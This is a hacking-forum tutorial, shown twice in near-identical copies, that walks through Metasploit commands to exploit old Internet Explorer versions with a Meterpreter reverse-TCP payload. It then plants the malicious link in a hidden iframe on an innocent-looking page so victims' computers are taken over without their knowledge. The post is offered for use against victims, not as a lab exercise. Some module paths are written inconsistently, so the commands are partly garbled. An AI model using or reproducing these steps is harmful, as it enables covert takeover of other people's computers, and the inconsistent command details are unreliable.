Hello Hf,
Welcome to the second part of my Metasploit hacking tutorial.
Make sure you have read tutorial 1 first:
https://hackforums.net/showthread.php?tid=4124763
This tutorial will take advantage of your newly installed metasploit framework, to show you a basic exploit.
In this tutorial, I will show you an exploit for Microsoft’s Internet Explorer 6, 7, and 8, running on Windows XP, Vista, Windows 7 or Windows Server 2003 and 2008.
You might think "Hah, internet explorer 8 is old...no one will still be using that!". But:
Internet Explorer 8 is still the default browser installed on Windows 7, and Windows 7 is probably the most widely used operating system in the world.
So it makes sense that my first basic hacking tutorial will be a hack working on Windows 7.
This exploit works with internet explorer 8.1 and earlier.
First, start Metasploit running (see part 1 for a tutorial about setting up and running metasploit).
1) Find the Exploit we will be using:
We will find the exploit we want by searching Metasploit for a Windows exploit that takes advantage of unsafe scripting. Type this into the meterpreter (metasploit command line):
This search will return a few results, the one we will be using is:
2) Tell Metasploit that this is the exploit we want to use. Use this command:
3) Select the Payload:
The "Payload" is the a code we send along with the exploit, to be executed on the victim’s pc. We must first load the payload - in this case, windows/meterpreter/reverse_tcp:
4) Set the exploit options
Use this command to display the options or the exploit:
The selected payload requires us to set the LHOST (local host). This is referring to your computer (the attacker). Enter the IP address (e.g. 192.168.1.8) of the local computer:
This exploit is a "Client Side Exploit" meaning it is run on the victims computer when they open the malicious link. That means we dont need to tell the exploit who the victim is at this point. Other exploits may require you to enter the RHOST, which is the target's IP address.
5) Run the Exploit
To run the exploit, simply type:
This will generate a link - a malicious link - which we must get the targets computer to click on/open.
When the target opens the link in a vulnerable version of Internet Explorer, it will exploit the browser and we will have "owened" their computer. Here is a good way to exploit the targets browser without them realizing:
6) With a bit of simple HTML, we can add the link into an embedded "iframe" on an innocent webpage. To do so, we just add this html code anywhere inside the <body> element of your page:
When this page is loaded on the victims computer, their browser will be exploited, and it will open an active Meterpreter session that we are connected to. From there, we can control their computer. this is called "owning" their computer or "box".
Thanks for reading, please reply with your thanks if you enjoyed this and/or found it useful.
Watch out for future hacking tutorials from me - further metasploit tutorials and other common hacking topics!
Written by MeshCollider 🤝
Welcome to the second part of my Metasploit hacking tutorial.
Make sure you have read tutorial 1 first:
https://hackforums.net/showthread.php?tid=4124763
This tutorial will take advantage of your newly installed metasploit framework, to show you a basic exploit.
In this tutorial, I will show you an exploit for Microsoft’s Internet Explorer 6, 7, and 8, running on Windows XP, Vista, Windows 7 or Windows Server 2003 and 2008.
You might think "Hah, internet explorer 8 is old...no one will still be using that!". But:
Internet Explorer 8 is still the default browser installed on Windows 7, and Windows 7 is probably the most widely used operating system in the world.
So it makes sense that my first basic hacking tutorial will be a hack working on Windows 7.
This exploit works with internet explorer 8.1 and earlier.
First, start Metasploit running (see part 1 for a tutorial about setting up and running metasploit).
1) Find the Exploit we will be using:
We will find the exploit we want by searching Metasploit for a Windows exploit that takes advantage of unsafe scripting. Type this into the meterpreter (metasploit command line):
Code
msf> search type:exploit platform:windows unsafeThis search will return a few results, the one we will be using is:
Code
/exploit/windows/browser/i.e._unsafe_scripting2) Tell Metasploit that this is the exploit we want to use. Use this command:
Code
msf> use /exploit/windows/browser/i.e._unsafe_scripting3) Select the Payload:
The "Payload" is the a code we send along with the exploit, to be executed on the victim’s pc. We must first load the payload - in this case, windows/meterpreter/reverse_tcp:
Code
msf> set PAYLOAD windows/meterpreter/reverse_tcp4) Set the exploit options
Use this command to display the options or the exploit:
Code
msf> show optionsThe selected payload requires us to set the LHOST (local host). This is referring to your computer (the attacker). Enter the IP address (e.g. 192.168.1.8) of the local computer:
Code
msf> set LHOST 192.168.1.8This exploit is a "Client Side Exploit" meaning it is run on the victims computer when they open the malicious link. That means we dont need to tell the exploit who the victim is at this point. Other exploits may require you to enter the RHOST, which is the target's IP address.
5) Run the Exploit
To run the exploit, simply type:
Code
msf> exploit (ie_unsafe_scripting) > exploitThis will generate a link - a malicious link - which we must get the targets computer to click on/open.
When the target opens the link in a vulnerable version of Internet Explorer, it will exploit the browser and we will have "owened" their computer. Here is a good way to exploit the targets browser without them realizing:
6) With a bit of simple HTML, we can add the link into an embedded "iframe" on an innocent webpage. To do so, we just add this html code anywhere inside the <body> element of your page:
Code
<iframe src="http://192.168.1.100:8080/HG6Kn71Nva "></iframe>When this page is loaded on the victims computer, their browser will be exploited, and it will open an active Meterpreter session that we are connected to. From there, we can control their computer. this is called "owning" their computer or "box".
Thanks for reading, please reply with your thanks if you enjoyed this and/or found it useful.
Watch out for future hacking tutorials from me - further metasploit tutorials and other common hacking topics!
Written by MeshCollider 🤝
